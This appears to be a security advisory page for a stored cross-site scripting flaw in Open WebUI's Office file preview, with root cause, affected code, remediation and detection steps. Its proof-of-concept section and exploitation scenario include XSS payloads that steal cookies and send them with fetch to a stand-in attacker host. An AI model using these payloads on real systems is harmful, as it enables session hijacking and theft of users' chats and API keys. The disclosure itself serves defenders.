CVE-2026-45318: open-webui: Stored XSS via Office file preview bypass
GHSA-hcwp-82g6-8wxc MEDIUM CISA: TRACK*Open WebUI's file preview feature renders user-uploaded Office documents (Excel, DOCX, PPT) as HTML using Svelte's {@html} directive without DOMPurify sanitization in three separate code paths, enabling stored cross-site scripting. This is a regression: the same root cause was patched in v0.8.0 but silently reintroduced by v0.8.12, a systemic defense propagation failure given that DOMPurify is correctly applied in 9 of 23 other {@html} locations in the same codebase. In shared Open WebUI deployments — the dominant use pattern for team LLM front-ends — a single malicious upload by any authenticated user exposes all subsequent viewers to session hijacking, API key theft, and full chat history exfiltration; no EPSS or KEV data is available yet, but the PoC is trivially constructable with openpyxl in minutes. Upgrade to v0.9.3 immediately; if patching is delayed, disable file upload or restrict it to trusted users only via admin settings.
What is the risk?
CVSS 5.4 Medium, but operationally elevated for multi-user Open WebUI instances: stored XSS means one upload poisons the environment for all viewers indefinitely until patched. No public exploit or Nuclei template exists yet, but the PoC is trivial — any attacker can craft a malicious XLSX in minutes using standard Python libraries. The regression pattern (patched in v0.8.0, reintroduced by v0.8.12) and 91 total CVEs in this package signal chronic code quality issues. Privileged-required exploitation (PR:L) keeps CVSS moderate, but in organizations with open-registration Open WebUI instances, attacker barrier is effectively zero.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | <= 0.9.2 | 0.9.3 |
Do you use Open WebUI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
4 steps-
Patch immediately: upgrade to open-webui v0.9.3, which wraps all three unsanitized file-preview paths with DOMPurify.sanitize().
-
If patching is not immediately feasible, disable file upload functionality via Open WebUI admin settings or restrict uploads to explicitly trusted user roles.
-
Detection: monitor web server and proxy logs for anomalous cross-origin fetch/XHR requests originating from Open WebUI sessions; scan uploaded Office files for HTML injection patterns in cell values or document body.
-
Longer-term: audit all remaining 14 unsanitized {@html} usages in the codebase; enforce a defense-by-default DOMPurify wrapper component via mandatory code review gates to prevent future regressions.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-45318?
Open WebUI's file preview feature renders user-uploaded Office documents (Excel, DOCX, PPT) as HTML using Svelte's {@html} directive without DOMPurify sanitization in three separate code paths, enabling stored cross-site scripting. This is a regression: the same root cause was patched in v0.8.0 but silently reintroduced by v0.8.12, a systemic defense propagation failure given that DOMPurify is correctly applied in 9 of 23 other {@html} locations in the same codebase. In shared Open WebUI deployments — the dominant use pattern for team LLM front-ends — a single malicious upload by any authenticated user exposes all subsequent viewers to session hijacking, API key theft, and full chat history exfiltration; no EPSS or KEV data is available yet, but the PoC is trivially constructable with openpyxl in minutes. Upgrade to v0.9.3 immediately; if patching is delayed, disable file upload or restrict it to trusted users only via admin settings.
Is CVE-2026-45318 actively exploited?
No confirmed active exploitation of CVE-2026-45318 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-45318?
1. Patch immediately: upgrade to open-webui v0.9.3, which wraps all three unsanitized file-preview paths with DOMPurify.sanitize(). 2. If patching is not immediately feasible, disable file upload functionality via Open WebUI admin settings or restrict uploads to explicitly trusted user roles. 3. Detection: monitor web server and proxy logs for anomalous cross-origin fetch/XHR requests originating from Open WebUI sessions; scan uploaded Office files for HTML injection patterns in cell values or document body. 4. Longer-term: audit all remaining 14 unsanitized {@html} usages in the codebase; enforce a defense-by-default DOMPurify wrapper component via mandatory code review gates to prevent future regressions.
What systems are affected by CVE-2026-45318?
This vulnerability affects the following AI/ML architecture patterns: LLM chat interfaces, Multi-user AI workspaces, Enterprise LLM front-ends, AI-assisted document analysis pipelines.
What is the CVSS score for CVE-2026-45318?
CVE-2026-45318 has a CVSS v3.1 base score of 5.4 (MEDIUM). The EPSS exploitation probability is 0.21%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011 User Execution AML.T0011.000 Unsafe AI Artifacts AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0055 Unsecured Credentials Compliance Controls Affected
What are the technical details?
Original Advisory
## Related advisory This advisory tracks a regression of the original Excel-preview XSS that was publicly disclosed and patched under [GHSA-jwf8-pv5p-vhmc](https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc) (patched in v0.8.0). The same root cause — `XLSX.utils.sheet_to_html()` output rendered via `{@html excelHtml}` without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again as of v0.8.12 and through the version range listed above. This advisory additionally covers the related `fileOfficeHtml` sink in `src/lib/components/chat/FileNav.svelte` (lines 458 and 1285) which was not part of the jwf8 advisory's scope. ## Summary Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's `{@html}` directive **without DOMPurify sanitization**. While the codebase has DOMPurify available and uses it in 9 out of 23 `{@html}` locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document. This is a classic **defense propagation failure**: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces. ## Root Cause **The defense primitive exists**: `DOMPurify.sanitize()` is imported and used in components like `General.svelte`, `MarkdownInlineTokens.svelte`, `Banner.svelte`, and `SVGPanZoom.svelte`. **But 3 file-preview paths skip it**: ### Occurrence 1: FilePreview.svelte — Office HTML **File**: `src/lib/components/chat/FileNav/FilePreview.svelte` line 324 ```svelte {:else if fileOfficeHtml !== null} <div class="office-preview overflow-auto flex-1 min-h-0"> {@html fileOfficeHtml} <!-- NO DOMPurify! --> </div> ``` `fileOfficeHtml` is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization. ### Occurrence 2: FileItemModal.svelte — Excel HTML **File**: `src/lib/components/common/FileItemModal.svelte` line 560 ```svelte {@html excelHtml} <!-- NO DOMPurify! --> ``` `excelHtml` is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied. ### Occurrence 3: FileItemModal.svelte — DOCX HTML **File**: `src/lib/components/common/FileItemModal.svelte` line 590 ```svelte {@html docxHtml} <!-- NO DOMPurify! --> ``` `docxHtml` is generated from user-uploaded DOCX files converted to HTML. No sanitization applied. ## Contrast with Sanitized Paths For comparison, the same codebase correctly sanitizes in other locations: ```svelte <!-- MarkdownInlineTokens.svelte:130 — SAFE --> {@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })} <!-- General.svelte:276 — SAFE --> {@html DOMPurify.sanitize($config?.license_metadata?.html)} <!-- Banner.svelte:103 — SAFE --> {@html DOMPurify.sanitize(marked.parse(...))} ``` ## Defense Propagation Gap | Metric | Value | |--------|-------| | Total `{@html}` usages | 23 | | With DOMPurify | 9 (39%) | | **Without DOMPurify** | **14 (61%)** | | Confirmed exploitable (file preview) | **3** | The remaining 11 unsanitized `{@html}` usages include syntax highlighting (`hljs`), KaTeX math rendering, and `marked.parse()` with `sanitizeResponseContent()` pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application. ## Tested Version - Open WebUI v0.8.12 (commit `9bd8425`, tag `v0.8.12`) ## Steps to Reproduce ### PoC 1: Malicious Excel File 1. Create a `.xlsx` file with a cell containing: ``` <img src=x onerror="alert(document.cookie)"> ``` (Using a library like openpyxl to inject raw HTML into cell values) 2. Upload the file to Open WebUI via the chat file upload 3. When any user previews the file → `excelHtml` renders the injected HTML → **XSS fires** ### PoC 2: Malicious DOCX File 1. Create a `.docx` file with embedded HTML: ```xml <w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r> ``` 2. Upload to Open WebUI 3. File preview renders `docxHtml` → **XSS fires** ### PoC 3: Verify Rendering Path ```javascript // In browser devtools on Open WebUI, after uploading a file: // The file preview component renders: // FileItemModal → {@html excelHtml} // no DOMPurify // FileItemModal → {@html docxHtml} // no DOMPurify // FilePreview → {@html fileOfficeHtml} // no DOMPurify // Compare with safe path: // NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))} // sanitized! ``` ## Impact - **Stored XSS** — malicious file is stored server-side, XSS fires for every user who previews it - **Session hijacking** via `document.cookie` theft - **Account takeover** — attacker can perform actions as the victim user - **Data exfiltration** — read chat history, API keys, uploaded documents - **Multi-user environments** — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers) - **Defense propagation failure** — DOMPurify is available and used elsewhere, but not applied to file preview paths ## Suggested Remediation Apply DOMPurify to all three file preview paths: ```svelte <!-- FilePreview.svelte:324 — FIX --> {@html DOMPurify.sanitize(fileOfficeHtml)} <!-- FileItemModal.svelte:560 — FIX --> {@html DOMPurify.sanitize(excelHtml)} <!-- FileItemModal.svelte:590 — FIX --> {@html DOMPurify.sanitize(docxHtml)} ``` Alternatively, adopt a **defense-by-default pattern**: create a wrapper component that always applies DOMPurify, making unsanitized `{@html}` usage a code review flag. ## References - CWE-79: Improper Neutralization of Input During Web Page Generation (XSS) - OWASP XSS Prevention Cheat Sheet - GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)
Exploitation Scenario
An attacker with a basic Open WebUI account crafts an XLSX file using openpyxl, injecting '<img src=x onerror="fetch(\"https://attacker.com/steal?\"+document.cookie)">' as a raw cell value. They upload it to a shared Open WebUI instance used by a security or engineering team as their LLM interface. When any team member — including administrators — opens the file preview panel, Svelte renders the Office-converted HTML via unsanitized {@html excelHtml}, firing the payload in the victim's browser. The attacker receives the victim's session cookie and any LLM API keys accessible from the JavaScript context, gains full account access, reads all stored chat histories (potentially containing sensitive business data or model outputs), and pivots to connected upstream LLM provider accounts using harvested API keys.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-45315 8.7 open-webui: stored XSS → JWT theft and admin takeover
Same package: open-webui